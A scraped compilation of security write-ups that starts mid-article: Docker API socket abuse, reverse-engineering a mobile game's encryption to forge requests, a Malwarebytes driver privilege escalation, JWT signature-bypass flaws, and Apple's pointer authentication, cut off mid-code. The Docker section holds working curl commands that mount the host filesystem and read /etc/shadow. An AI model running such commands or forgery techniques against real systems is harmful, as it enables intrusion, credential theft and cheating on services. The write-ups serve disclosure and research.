"Labels": {}, "TaskTemplate": { "ContainerSpec": { "Image": "dpage/pgadmin4:latest@sha256:5b8631d35db5514d173ad2051e6fc6761b4be6c666105f968894509c5255c739", "Env": [ "PGADMIN_DEFAULT_EMAIL=REMOVED@gmail.com", "PGADMIN_DEFAULT_PASSWORD=REMOVED" ], "Isolation": "default" Creating a container that has mounted the host file system curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' {"Id":"0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192","Warnings":null} curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test Read something from the host curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}' {"Id":"140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6"} curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}' root:$6$THEPASSWORDHASHWUZHERE:17717:0:99999:7::: daemon:*:17001:0:99999:7::: bin:*:17001:0:99999:7::: sys:*:17001:0:99999:7::: sync:*:17001:0:99999:7::: games:*:17001:0:99999:7::: Cleanup Stop the container curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop delete stopped containers curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune Sursa: https://carnal0wnage.attackresearch.com/2019/02/abusing-docker-api-socket.html

Reverse engineering of a mobile game, part 2: they updated, we dumped memory Guillaume Lesniak Feb 2 In my previous story, I successfully reverse-engineered a mobile Tower Defense game on Android, which uses Unity. I have had a few chats back and forth with the company behind the game, which were aware of the original article. Since then, they’ve upgraded their API to change their methodology: they updated the hash salt, and added encryption. Oh noes, we’re doomed! Or, are we? I’ll start this article off where I left in the first part, so make sure to read it if you haven’t already. State of things First things first, I fired up again my mitmproxy, and checked if the API calls changed. They did update the endpoint, and now the data looks encrypted, both in the request and the response: What used to be pure JSON is now unreadable bytes However, we can notice that they haven’t done anything about packet replay: performing the same actions on the game to produce another tournament query led to the same POST body and Hash being generated. Next, as previously, we need to dump the new libil2cpp.so and global-metadata.dat files, and run the tools on them, then load it into IDA. Since we already know where the hash was loaded (Crypto class constructor), and where the packets were built (HttpClient), we can kickstart a bit these parts. Digging into the code After giving IDA some time to load the few thousands functions, let’s have a look at the new and updated HttpPost method. Since I started off a clean disassembly project, I relabeled a few field based on the Il2CppDumper DLL assembly output, reversed with .NET Reflector, to get a cleaner pseudocode: We can find again our friendly Crypto__ComputeHash which computes the Hash value based on the unencrypted bytes, then the same bytes are fed into the Crypto.Encrypt method. So, they are indeed encrypting the body before sending it. Inspecting that method reveals Rijndael-based (AES) encryption: The cool thing about this is that they are using standard .NET crypto methods, which means that we’ll have all the fields description and details directly in the .NET Framework documentation, as well as example code to replicate their encryption and decryption process right from MSDN. Finally, the keys and salts moved from the Crypto class to a separate CryptoConstants class, but that won’t change much our work. Our lovely game developers even helped us with size in the C# fields: We know the offsets at which the computed key and IV are stored, so no need to manually calculate them! Also spoiler: I couldn’t manage to calculate them properly from the base Salt and Password, for some reason, so directly using Key and IV was good enough. So what we need to hack this new game revision is the AES key, and the new salt. With that, we should be able to encrypt and decrypt the messages and forge some to the server, as we could in the previous article. In my previous article, I was stuck at retrieving the secret bytes from the app code directly, which made me brute-force it originally, but I mentioned an alternative method: debugging on device. This time, we have no other choice: we can’t access byte arrays directly from static code (at least not that I know of), so our best and only way is to dump our device’s (or emulator) memory while the game is running, to get those bytes live. Let’s do it. Debugging a live process on device Our goal here is to dump the memory of the game, for example at a time where it is hashing a server message, to dump the hash-salt bytes, and the AES IV and key. To do that, we install IDA’s debugging server on our device, run it, and use ADB to forward the port to our host machine through USB. Once that’s done, we can attach our IDA debugger to any process on the device: We can attach to any process on our device But before actually attaching to a process, we need to set a few breakpoints in the pseudo-code. This will make the process pause, and IDA show the corresponding pseudo-code when the line is about to be executed by our phone’s CPU. First, as we want to dump the bytes that are appended to the JSON body before it is MD5-hashed, we just need to set a breakpoint where the final “salt” array is appended: Let’s break immediately after the salt bytes are loaded in ComputeHash Then, we want to break when encryption keys are used, so that we can dump the AES key and IV memory blocks: Note that if you want to break in a portion of code that is executed very early only once, you need to attach your debugger before those lines are executed. I haven’t found any trick to make IDA run the app from scratch with the debugger immediately attached, but luckily the Unity assembly takes some time to load, so we can tap the app icon, then immediately press Home to pause the game’s execution, giving us time to attach the IDA debugger, then resume the game. Here, we’re breaking at any call to the Decrypt method, so attaching afterwards is fine. A quick note on Dalvik and IDA: the debugger will catch a few signals sent by the Dalvik VM, caused by GC. Signals such as SIGPWR and SIGXCPU are then expected, so we need to set those as “ignore and pass to application” in the debugger setup, otherwise IDA will break the execution every time. Then, after attaching to the running game process, once we press a button that needs Decrypt and CalculateHash (any button that performs something online, like the Tournament button), the debugger will pause at the breakpoints we’ve set earlier: If I double-click the value I tagged “vSalt”, it will reveal the memory value. We skip the first 16 bytes (0x10), as those are Mono’s headers and metadata for byte arrays, and then we can see the salt value before our eyes: However, the AES IV and Key are put in a raw memory address that IDA didn’t wrap as a variable, so we’ll need some manual brain math from the pseudocode: **(_DWORD **)(dwCryptoClass + 80) *(_DWORD *)(*(_DWORD *)(dwCryptoClass + 80) + 4) We know, from the previous article, that the dwCryptoClass + 80 value is a pointer to the value of the first field of the class, since they start at 80 (0x50) offset. Our second field (the IV) is the next pointer (+ 4) at the value pointed by dwCryptoClass + 80. So here, to get the actual values for these two fields, we first need to take dwCryptoClass pointer (0xCCA71300 in my case), then add 0x50. This gives us our first pointer address (pointers are 4 bytes, since this is an ARMv7 library, so 32-bits memory addressing): The ARM instruction set is also little-endian, so our address has to be read from bottom to top: 0xE6BD6D60. Then, we have to jump there to get the actual pointers to each field byte array: Here, we have two pointers next to each other. If you get the operator priority right from the code extract above, our answers are hidden behind those two addresses: 0xE699F4D0 for the first field (Crypto._aesKey), and 0xCB2EBDE8 for the second field (Crypto._ivKey). Again, at each of those addresses, we add 0x10 to get the actual array bytes: Our pointer starts at 0xE699F4D0, and data starts 0x10 bytes later, at 0xE699F4E0. We know that the IV is 16 bytes long and the key is 32 bytes long, as that’s fairly standard, and also noted in the Rfc2898DeriveBytes .NET documentation (since we noted from the pseudocode that they used this class), so we just dump enough bytes from those two memory addresses. We can also infer that from the pseudocode. From there, we could write a small encryption/decryption using glorious Golang, but for the sake of not having to waste time fiddling with the algorithm settings, let’s reuse C# and decrypt a message we dumped earlier in mitmproxy: It works! On the left, the encrypted query. On the right, the decrypted JSON. Behind, our small C# decryption program running. We can use the same methodology then to dump the ComputeHash key. Since we have a direct “vSaltBytes” variable that we were able to map in IDA, double-clicking reveals the value. Updating our previous hash-calculation, and feeding it our decrypted query, leads us to the same hash as we had in the mitm’d request. Here we go again! We have successfully retrieved the AES key and IV that allows us to encrypt and decrypt the game’s network messages, and dumped the brand new 16-bytes (vs 6 bytes in the previous article) MD5 salt. With those information, we could build a new game cheat app and send forged requests to the server. More importantly, we’ve demonstrated how to successfully recover memory data from a running app on a live Android device, effectively letting you grab (or manipulate!) encryption keys. Cheers! Guillaume Lesniak Lover of new technologies, striving to push innovation forward. Servers, coding, security, machine learning, those are my things. Sursa: https://medium.com/@xplodwild/reverse-engineering-of-a-mobile-game-part-2-they-updated-we-dumped-memory-27046efdfb85

Exploiting Malwarebytes Anti-Exploit Feb 02, 2019 On October 25th, I found a bug in the Anti-Exploit driver of Malwarebytes v3.6.1.2711 that caused BSOD and finally exploited it to achieve an EoP from a standard user to SYSTEM. In short, it’s a combination of incomplete input validations and an insecure manner of accessing a file. In this blog post, I’ll walk through the process of how I exploited the bug. Systems affected include Windows 7 SP1 x86/64 and Windows 10 x86/64. In this post I’m assuming Windows 7/10 x86 as I wrote a complete exploit only for those systems. However, I think you can easily port it to x64 systems if needed. I’d like to express a special thanks to my friend Francesco Mifsud (@GradiusX) for borrowing some code from his GitHub repository. The final PoC is here. High Overview The first thing I did was to identify kernel mode drivers used by Malwarebytes and identify attack surfaces exposed. Using DriverView and WinObj, I found out the Anti-Exploit driver (mbae.sys) was accessible by a normal user through the device name “\\.\ESProtectionDriver”. As can be seen from the picture above, there are quite a few drivers from Malwarebytes with fancy names, but I didn’t look into the other drivers as I lost my interests a bit after having exploited the first target. Reversing The interesting part of the code in mbae.sys is the dispatch routine for the IRP major function code IRP_MJ_DEVICE_CONTROL. Identifying the routine is obvious, because it’s directly referenced from the DriverEntry. The following is the graph overview of the function sub_40338C that processes DeviceIoControl codes. The blue boxes are where DeviceIoControl codes are compared with some constants. Each of the yellow boxes calls the handler for a DeviceIoControl code. The red boxes validates the input buffer (SystemBuffer). From the blue boxes, 5 different DeviceIoControl codes can be identified: 0x22E000, 0x22E004, 0x22E008, 0x22E00C, 0x22E010. These codes means the driver uses the method of Buffered IO, though it’s not very relevant here. The validation in the red boxes obviously hinders attacks mindlessly using generic IOCTL fuzzers. The input buffer needs a DWORD size field, a 0x14 bytes hash field, and obfuscated data field like below: The obfuscated data is deobfuscated in the validation process (the bottom red box). Then I looked at the handlers for DeviceIoControl codes. Some of the handlers has try/except blocks and in each of the except blocks it creates a crash file under C:\, meaning if I could make the exception handler called in a controlled manner (no BSOD), I could create an arbitrary file at an arbitrary location by redirecting the file write. Initial Attack My initial attack was simply capturing and replaying legit DeviceIoControl requests made by the userland code of Malwarebytes. WinDBG and IDA revealed the uses of some the DeviceIoControl codes: 0x22E000 is used for an InjectionRequest (whatever it means) and called when the Anti-Exploit protection is turned on. 0x22E004 and 0x22E008 are for an UninjectionRequest and an AllowUnloadRequest respectively, which are called when a user turns the Anti-Exploit protection off. Luckily enough, I successfully got a BSOD by replaying an UninjectionRequest a few times. No fuzzing was needed. Analyzing Bug Next I stepped into the root cause of the bug. After some experiments, I learned that an exception could be caused by one of the two calls of _wcslwr as shown below. Here edi points to the first byte of the SystemBuffer. _wcslwr can fail. For example, if the argument of _wcslwr points to an unmapped or read-only page or a sequence of bytes that’s not terminated by a double nulls ‘\x00\x00’, an exception happens. If the location where the exception happened was in the Kernel Space, it leads to a BSOD. Avoiding BSOD The strategy is to always make an exception happen in the User Space. On the first call of _wcslwr, eax points to the offset 0x298 of the SystemBuffer. So if an exception happens here by accessing past the end of the SystemBuffer, it definitely leads to a BSOD. This can be avoided by putting a double nulls ‘\x00\x00’ at the offset 0x298. The next call of _wcslwr is more interesting (I mean, controllable). The DWORD at the offset 0x290 of the SystemBuffer is doubled and added to edi (the address of SystemBuffer). In my exploit, I put 0x40000000 at the offset 0x290 so the argument of _wcslwr points to the User Space. The DWORD at the offset 0x290 may be any value other then 0x00000000. The layout of the payload (before being obfuscated) is shown below. Sometimes it happens that no exception occurs, but it does no harm. Obfuscation I made some analysis on the deobfuscation scheme to send an obfuscated payload. Simply put, it’s just a triple XORs. The first step of deobfuscation is as simple as XORing the data part with the hash part extended to the length of the data by repetitions. A hash of the data is computed at this point and compared with the hash in the SystemBuffer. If they match, each byte of the data is XORed with the first byte (LSB) of the thread ID and the offset (mod 0x100) of the byte in the data. The steps of obfuscation is the same because of the commutativity of XORs. The fact that the thread ID is involved makes the hash and the data parts less predictable, but actually we can make the entire payload static by using a thread whose LSB of the thread ID is constant, like always 0. Then the correct hash can be obtained from memory using a debugger. Reversing the (SHA-1 like) hashing algorithm wasn’t necessary. Exploitation The idea of exploitation is to redirect the location of the crash file using a symbolic link to another location like \GLOBAL??\C:\Windows\system32\msfte.dll, then overwrite it with a fake DLL. The DLL is supposed to be loaded by a process with SYSTEM priviledge. This techninque is based on the fact that the device map can be changed per process like “chroot” thing in *nix OS. The shortcoming of this method is that we cannot predictively trigger the load of msfte.dll. We could quickly find a better place to put a payload DLL and hijack DLL loads by running a Process Monitor as SYSTEM. Below is a successfull run of the PoC. Timeline 2018.10.25: Vunlerability detected. 2018.10.30: PoC shared with Malwarebytes. 2019.02.02: Full disclosure. References [1] https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win7 x86/HEVD_InsecureKernelResourceAccess.py [2] http://blog.airesoft.co.uk/2012/01/chroot-ing-in-windows-as-easy-as-a-b-c/ Sursa: https://acru3l.github.io/2019/02/02/exploiting-mb-anti-exploit/

Critical vulnerabilities in JSON Web Token libraries Which libraries are vulnerable to attacks and how to prevent them. Tim McLean March 31, 2015 Share this post tl;dr If you are using node-jsonwebtoken, pyjwt, namshi/jose, php-jwt or jsjwt with asymmetric keys (RS256, RS384, RS512, ES256, ES384, ES512) please update to the latest version. See jwt.io for more information on the vulnerable libraries. (Updated 2015-04-20) This is a guest post from Tim McLean, who is a member of the Auth0 Security Researcher Hall of Fame. Tim normally blogs at www.timmclean.net. Recently, while reviewing the security of various JSON Web Token implementations, I found many libraries with critical vulnerabilities allowing attackers to bypass the verification step. The same two flaws were found across many implementations and languages, so I thought it would be helpful to write up exactly where the problems occur. I believe that a change to the standard could help prevent future vulnerabilities. "I found many libraries with critical vulnerabilities allowing attackers to bypass the verification step." TWEET THIS For those who are unfamiliar, JSON Web Token (JWT) is a standard for creating tokens that assert some number of claims. For example, a server could generate a token that has the claim "logged in as admin" and provide that to a client. The client could then use that token to prove that they are logged in as admin. The tokens are signed by the server's key, so the server is able to verify that the token is legitimate. JWTs generally have three parts: a header, a payload, and a signature. The header identifies which algorithm is used to generate the signature, and looks something like this: header = '{"alg":"HS256","typ":"JWT"}' HS256 indicates that this token is signed using HMAC-SHA256. The payload contains the claims that we wish to make: payload = '{"loggedInAs":"admin","iat":1422779638}' As suggested in the JWT spec, we include a timestamp called iat, short for "issued at". The signature is calculated by base64url encoding the header and payload and concatenating them with a period as a separator: key = 'secretkey' unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload) signature = HMAC-SHA256(key, unsignedToken) To put it all together, we base64url encode the signature, and join together the three parts using periods: token = encodeBase64(header) + '.' + encodeBase64(payload) + '.' + encodeBase64(signature) # token is now: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbkFzIjoiYWRtaW4iLCJpYXQiOjE0MjI3Nzk2Mzh9. gzSraSYS8EXBxLN_oWnFSRgCzcmJmMjLiuyu5CSpyHI Great. So, what's wrong with that? Well, let's try to verify a token. First, we need to determine what algorithm was used to generate the signature. No problem, there's an alg field in the header that tells us just that. But wait, we haven't validated this token yet, which means that we haven't validated the header. This puts us in an awkward position: in order to validate the token, we have to allow attackers to select which method we use to verify the signature. This has disastrous implications for some implementations. Meet the "none" algorithm The none algorithm is a curious addition to JWT. It is intended to be used for situations where the integrity of the token has already been verified. Interestingly enough, it is one of only two algorithms that are mandatory to implement (the other being HS256). Unfortunately, some libraries treated tokens signed with the none algorithm as a valid token with a verified signature. The result? Anyone can create their own "signed" tokens with whatever payload they want, allowing arbitrary account access on some systems. Putting together such a token is easy. Modify the above example header to contain "alg": "none" instead of HS256. Make any desired changes to the payload. Use an empty signature (i.e. signature = ""). Most (hopefully all?) implementations now have a basic check to prevent this attack: if a secret key was provided, then token verification will fail for tokens using the none algorithm. This is a good idea, but it doesn't solve the underlying problem: attackers control the choice of algorithm. Let's keep digging. RSA or HMAC? The JWT spec also defines a number of asymmetric signing algorithms (based on RSA and ECDSA). With these algorithms, tokens are created and signed using a private key, but verified using a corresponding public key. This is pretty neat: if you publish the public key but keep the private key to yourself, only you can sign tokens, but anyone can check if a given token is correctly signed. Most of the JWT libraries that I've looked at have an API like this: # sometimes called "decode" verify(string token, string verificationKey) # returns payload if valid token, else throws an error In systems using HMAC signatures, verificationKey will be the server's secret signing key (since HMAC uses the same key for signing and verifying): verify(clientToken, serverHMACSecretKey) In systems using an asymmetric algorithm, verificationKey will be the public key against which the token should be verified: verify(clientToken, serverRSAPublicKey) Unfortunately, an attacker can abuse this. If a server is expecting a token signed with RSA, but actually receives a token signed with HMAC, it will think the public key is actually an HMAC secret key. How is this a disaster? HMAC secret keys are supposed to be kept private, while public keys are, well, public. This means that your typical ski mask-wearing attacker has access to the public key, and can use this to forge a token that the server will accept. Doing so is pretty straightforward. First, grab your favourite JWT library, and choose a payload for your token. Then, get the public key used on the server as a verification key (most likely in the text-based PEM format). Finally, sign your token using the PEM-formatted public key as an HMAC key. Essentially: forgedToken = sign(tokenPayload, 'HS256', serverRSAPublicKey) The trickiest part is making sure that serverRSAPublicKey is identical to the verification key used on the server. The strings must match exactly for the attack to work -- exact same format, and no extra or missing line breaks. End result? Anyone with knowledge of the public key can forge tokens that will pass verification. Recommendations for Library Developers I suggest that JWT libraries add an algorithm parameter to their verification function: verify(string token, string algorithm, string verificationKey) The server should already know what algorithm it uses to sign tokens, and it's not safe to allow attackers to provide this value. Some might argue that some servers need to support more than one algorithm for compatibility reasons. In this case, a separate key can (and should) be used for each supported algorithm. JWT conveniently provides a "key ID" field (kid) for exactly this purpose. Since servers can use the key ID to look up the key and its corresponding algorithm, attackers are no longer able to control the manner in which a key is used for verification. In any case, I don't think JWT libraries should even look at the alg field in the header, except maybe to check that it matches what was the expected algorithm. Anyone using a JWT implementation should make sure that tokens with a different signature type are guaranteed to be rejected. Some libraries have an optional mechanism for whitelisting or blacklisting algorithms; take advantage of it or you might end up at risk. Even better: have a policy of performing security audits on any open source libraries that you use to provide mission-critical funtionality. Improving the JWT/JWS standard I would like to propose deprecating the header's alg field. As we've seen here, its misuse can have a devastating impact on the security of a JWT/JWS implementation. As far as I can tell, key IDs provide an adequate alternative. This warrants a change to the spec: JWT libraries continue to be written with security flaws due to their dependence on alg. JWT (and JOSE) present the opportunity to have a cross-platform suite of secure cryptography implementations. With these fixes, hopefully we're a little bit closer to making that a reality. Sursa: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/

Friday, February 1, 2019 Examining Pointer Authentication on the iPhone XS Posted by Brandon Azad, Project Zero In this post I examine Apple's implementation of Pointer Authentication on the A12 SoC used in the iPhone XS, with a focus on how Apple has improved over the ARM standard. I then demonstrate a way to use an arbitrary kernel read/write primitive to forge kernel PAC signatures for the A keys, which is sufficient to execute arbitrary code in the kernel using JOP. The technique I discovered was (mostly) fixed in iOS 12.1.3. In fact, this fix first appeared in the 16D5032a beta while my research was still ongoing. ARMv8.3-A Pointer Authentication Among the most exciting security features introduced with ARMv8.3-A is Pointer Authentication, a feature where the upper bits of a pointer are used to store a Pointer Authentication Code (PAC), which is essentially a cryptographic signature on the pointer value and some additional context. Special instructions have been introduced to add an authentication code to a pointer and to verify an authenticated pointer's PAC and restore the original pointer value. This gives the system a way to make cryptographically strong guarantees about the likelihood that certain pointers have been tampered with by attackers, which offers the possibility of greatly improving application security. (Proper terminology dictates that the security feature is called Pointer Authentication while the cryptographic signature that is inserted into the unused bits of a pointer is called the Pointer Authentication Code, or PAC. However, popular usage has already confused these terms, and it is common to see Pointer Authentication referred to as PAC. Usually this usage is unambiguous, so for brevity I will often refer to Pointer Authentication as PAC as well.) There are many great articles describing Pointer Authentication, so I'll only go over the rough details here. Interested readers can refer to Qualcomm's whitepaper, Mark Rutland's slides from the 2017 Linux Security Summit, this LWN article by Jonathan Corbet, and the ARM A64 Instruction Set Architecture for further details. The key insight that makes Pointer Authentication viable is that, although pointers are 64 bits, most systems have a virtual address space that is much smaller, which leaves unused bits in a pointer that can be used to store additional data. In the case of Pointer Authentication, these bits will be used to store a short authentication code over both the original 64-bit pointer value and a 64-bit context value. Systems are allowed to use an implementation-defined algorithm to compute PACs, but the standard recommends the use of a block cipher called QARMA. According to the whitepaper, QARMA is "a new family of lightweight tweakable block ciphers" designed specifically for pointer authentication. QARMA-64, the variant used in the standard, takes as input a secret 128-bit key, a 64-bit plaintext value (the pointer), and a 64-bit tweak (the context), and produces as output a 64-bit ciphertext. The truncated ciphertext becomes the PAC that gets inserted into the unused extension bits of the pointer. The architecture provides for 5 secret 128-bit Pointer Authentication keys. Two of these keys, APIAKey and APIBKey, are used for instruction pointers. Another two, APDAKey and APDBKey, are used for data pointers. And the last key, APGAKey, is a special "general" key that is used for signing larger blocks of data with the PACGA instruction. Providing multiple keys allows for some basic protection against pointer substitution attacks, in which one authenticated pointer is substituted with another. The values of these keys are set by writing to special system registers. The registers containing the Pointer Authentication keys are inaccessible from EL0, meaning that a userspace process cannot read or change them. However, the hardware provides no other key management features: it's up to the code running at each exception level to manage the keys for the next lower exception level. ARMv8.3-A introduces three new categories of instructions for dealing with PACs: PAC* instructions generate and insert the PAC into the extension bits of a pointer. For example, PACIA X8, X9 will compute the PAC for the pointer in register X8 under the A-instruction key, APIAKey, using the value in X9 as context, and then write the resulting PAC'd pointer back in X8. Similarly, PACIZA is like PACIA except the context value is fixed to 0. AUT* instructions verify a pointer's PAC (along with the 64-bit context value). If the PAC is valid, then the PAC is replaced with the original extension bits. Otherwise, if the PAC is invalid (indicating that this pointer was tampered with), then an error code is placed in the pointer's extension bits so that a fault is triggered if the pointer is dereferenced. For example, AUTIA X8, X9 will verify the PAC'd pointer in X8 under the A-instruction key using X9 as context, writing the valid pointer back to X8 if successful and writing an invalid value otherwise. XPAC* instructions remove a pointer's PAC and restore the original value without performing verification. In addition to these general Pointer Authentication instructions, a number of specialized variants were introduced to combine Pointer Authentication with existing operations: BLRA* instructions perform a combined authenticate-and-branch operation: the pointer is validated and then used as the branch target for BLR. For example, BLRAA X8, X9 will authenticate the PAC'd pointer in X8 under the A-instruction key using X9 as context and then branch to the resulting address. LDRA* instructions perform a combined authenticate-and-load operation: the pointer is validated and then data is loaded from that address. For example, LDRAA X8, X9 will validate the PAC'd pointer X9 under the A-data key using a context value of 0 and then load the 64-bit value at the resulting address into X8. RETA* instructions perform a combined authenticate-and-return operation: the link register LR is validated and then RET is performed. For example, RETAB will verify LR using the B-instruction key and then return. A known limitation: signing gadgets Before we start our analysis of PAC, I should mention a known limitation: PAC can be bypassed if an attacker with read/write access can coerce the system into executing a signing gadget. Signing gadgets are instruction sequences that can be used to sign arbitrary pointers. For example, if an attacker can trigger the execution of a function that reads a pointer from memory, adds a PAC, and writes it back, then they can use this function as a signing oracle to forge PACs for arbitrary pointers. Weaknesses against kernel attackers As discussed in the Qualcomm whitepaper, ARMv8.3 Pointer Authentication was designed to provide some protection even against attackers with arbitrary memory read or arbitrary memory write capabilities. But it's important to understand the limitations of the design under the attack model we're considering: a kernel attacker who already has read/write and is looking to execute arbitrary code by forging PACs on kernel pointers. Looking at the specification, I identified three potential weaknesses in the design when protecting against kernel attackers with read/write: reading the PAC keys from memory, signing kernel pointers in userspace, and signing A-key pointers using the B-key (or vice versa). We'll discuss each in turn. Reading PAC keys from kernel memory First let's consider what is perhaps the most obvious type of attack: just reading the PAC keys from kernel memory and then manually computing PACs for arbitrary kernel pointers. Here's an excerpt from the subsection of the whitepaper on attackers who can read arbitrary memory: Pointer Authentication is designed to resist memory disclosure attacks. The PAC is computed using a cryptographically strong algorithm, so reading any number of authenticated pointers from memory would not make it easier to forge pointers. The keys are stored in processor registers, and these registers are not accessible from usermode (EL0). Therefore, a memory disclosure vulnerability would not help extract the keys used for PAC generation. While true, this description applies specifically to attacking a userspace program, not attacking the kernel itself. Recent iOS devices do not appear to be running a hypervisor (EL2) or secure monitor (EL3), meaning the kernel running at EL1 must manage its own PAC keys. And since the system registers that store them during normal operation will be cleared when the core goes to sleep, this means that the PAC keys must at some point be stored in kernel memory. Thus an attacker with kernel memory access could probably read the keys and use them to manually compute authentication codes for arbitrary pointers. Of course, this approach assumes that we know what algorithm is being used under the hood to generate PACs so that we can implement it ourselves in userspace. Knowing Apple, there's a good chance they're use a custom algorithm in place of QARMA. If that's the case, then knowing the PAC keys wouldn't be sufficient to forge PACs: either we'd have to reverse engineer the silicon and determine the algorithm, or we'd have to find a way to reuse the existing machinery to forge pointers on our behalf. Cross-EL PAC forgeries Along the latter line of analysis, one possible way to do that would be to forge PACs for kernel pointers by executing the corresponding PAC* instructions in userspace. While this may sound naive, there are a few reasons this could work. While unlikely, it's possible that Apple has decided to use the same PAC keys for EL0 and EL1, in which case we could forge a kernel PACIA signature (for example) by literally executing a PACIA instruction on the kernel pointer from userspace. You can see that the ARM pseudocode describing the implementation of PAC* instructions makes no distinction between whether this instruction was executed at EL0 or EL1. Here's the pseudocode for AddPACIA(), which describes the implementation of PACIA-like instructions: // AddPACIA() // ========== // Returns a 64-bit value containing X, but replacing the pointer // authentication code field bits with a pointer authentication code, where the // pointer authentication code is derived using a cryptographic algorithm as a // combination of X, Y, and the APIAKey_EL1. bits(64) AddPACIA(bits(64) X, bits(64) Y) boolean TrapEL2; boolean TrapEL3; bits(1) Enable; bits(128) APIAKey_EL1; APIAKey_EL1 = APIAKeyHi_EL1<63:0>:APIAKeyLo_EL1<63:0>; case PSTATE.EL of when EL0 boolean IsEL1Regime = S1TranslationRegime() == EL1; Enable = if IsEL1Regime then SCTLR_EL1.EnIA else SCTLR_EL2.EnIA; TrapEL2 = (EL2Enabled() && HCR_EL2.API == '0' && (HCR_EL2.TGE == '0' || HCR_EL2.E2H == '0')); TrapEL3 = HaveEL(EL3) && SCR_EL3.API == '0'; when EL1 Enable = SCTLR_EL1.EnIA; TrapEL2 = EL2Enabled() && HCR_EL2.API == '0'; TrapEL3 = HaveEL(EL3) && SCR_EL3.API == '0'; ... if Enable == '0' then return X; elsif TrapEL2 then TrapPACUse(EL2); elsif TrapEL3 then TrapPACUse(EL3); else return AddPAC(X, Y, APIAKey_EL1, FALSE); And here's the pseudocode implementation of AddPAC(): // AddPAC() // ======== // Calculates the pointer authentication code for a 64-bit quantity and then // inserts that into pointer authentication code field of that 64-bit quantity. bits(64) AddPAC(bits(64) ptr, bits(64) modifier, bits(128) K, boolean data) bits(64) PAC; bits(64) result; bits(64) ext_ptr; bits(64) extfield; bit selbit; boolean tbi = CalculateTBI(ptr, data); integer top_bit = if tbi then 55 else 63; // If tagged pointers are in use for a regime with two TTBRs, use bit<55> of // the pointer to select between upper and lower ranges, and preserve this. // This handles the awkward case where there is apparently no correct // choice between the upper and lower address range - ie an addr of // 1xxxxxxx0... with TBI0=0 and TBI1=1 and 0xxxxxxx1 with TBI1=0 and // TBI0=1: if PtrHasUpperAndLowerAddRanges() then ... else selbit = if tbi then ptr<55> else ptr<63>; integer bottom_PAC_bit = CalculateBottomPACBit(selbit); // The pointer authentication code field takes all the available bits in // between extfield = Replicate(selbit, 64); // Compute the pointer authentication code for a ptr with good extension bits if tbi then ext_ptr = ptr<63:56>:extfield<(56-bottom_PAC_bit)-1:0>:ptr<bottom_PAC_bit-1:0>; else ext_ptr = extfield<(64-bottom_PAC_bit)-1:0>:ptr<bottom_PAC_bit-1:0>; PAC = ComputePAC(ext_ptr, modifier, K<127:64>, K<63:0>); // Check if the ptr has good extension bits and corrupt the pointer // authentication code if not; if !IsZero(ptr<top_bit:bottom_PAC_bit>) && !IsOnes(ptr<top_bit:bottom_PAC_bit>) then PAC<top_bit-1> = NOT(PAC<top_bit-1>); // Preserve the determination between upper and lower address at bit<55> // and insert PAC if tbi then result = ptr<63:56>:selbit:PAC<54:bottom_PAC_bit>:ptr<bottom_PAC_bit-1:0>; else result = PAC<63:56>:selbit:PAC<54:bottom_PAC_bit>:ptr<bottom_PAC_bit-1:0>; return result; Operationally, there are no significant differences between executing PACIA at EL0 and EL1, which means that if Apple has used the same PAC keys for both exception levels, we can simply execute PACIA in userspace to sign kernel pointers. Of course, it seems highly unlikely that Apple has left such an obvious hole in their implementation. Even so, the symmetry between EL0 and EL1 means that we could potentially forge kernel PACIA signatures by reading the kernel's PAC keys, replacing the userspace PAC keys for one thread in our process with the kernel PAC keys, and then we could indeed forge kernel pointers by executing PACIA in userspace in that thread. This would be useful if Apple is using an unknown algorithm in place of QARMA, since we could reuse the existing signing machinery without having to reverse engineer it. Cross-key PAC forgeries Another symmetry that we could potentially leverage to produce PAC forgeries is between the different PAC keys: PACIA, PACIB, PACDA, and PACDB all reduce to the same implementation under the hood, just using different keys. Thus, if we can replace one PAC key with another, we can turn signing gadgets for one key into signing gadgets for another key. This would be useful if, for example, the PAC algorithm is unknown and there is something that prevents us from setting the userspace PAC keys equal to the kernel PAC keys so that we can perform cross-EL forgeries. While this forgery strategy is much less powerful, since we'd need to rely on the existence of PAC signing gadgets (which are a known limitation of PAC), this technique would free us from the restriction that the signing gadget use the same key that we're trying to forge, potentially diversifying the set of available gadgets. Finding an entry point for kernel code execution Now that we have some theoretical ideas of how we might try and defeat PAC on A12 devices, let's look at the other end and figure out how we could use a PAC bypass to execute arbitrary code in the kernel. The traditional way to get kernel code execution via read/write is the iokit_user_client_trap() strategy described by Stefan Esser in Tales from iOS 6 Exploitation. This strategy involves patching the vtable of an IOUserClient instance so that calling the userspace function IOConnectTrap6(), which invokes iokit_user_client_trap() in the kernel, will call an arbitrary function with up to 7 arguments. To see why this works, here's the implementation of iokit_user_client_trap() from XNU 4903.221.2: kern_return_t iokit_user_client_trap(struct iokit_user_client_trap_args *args) { kern_return_t result = kIOReturnBadArgument; IOUserClient *userClient; if ((userClient = OSDynamicCast(IOUserClient, iokit_lookup_connect_ref_current_task((mach_port_name_t) (uintptr_t)args->userClientRef)))) { IOExternalTrap *trap; IOService *target = NULL; trap = userClient->getTargetAndTrapForIndex(&target, args->index); 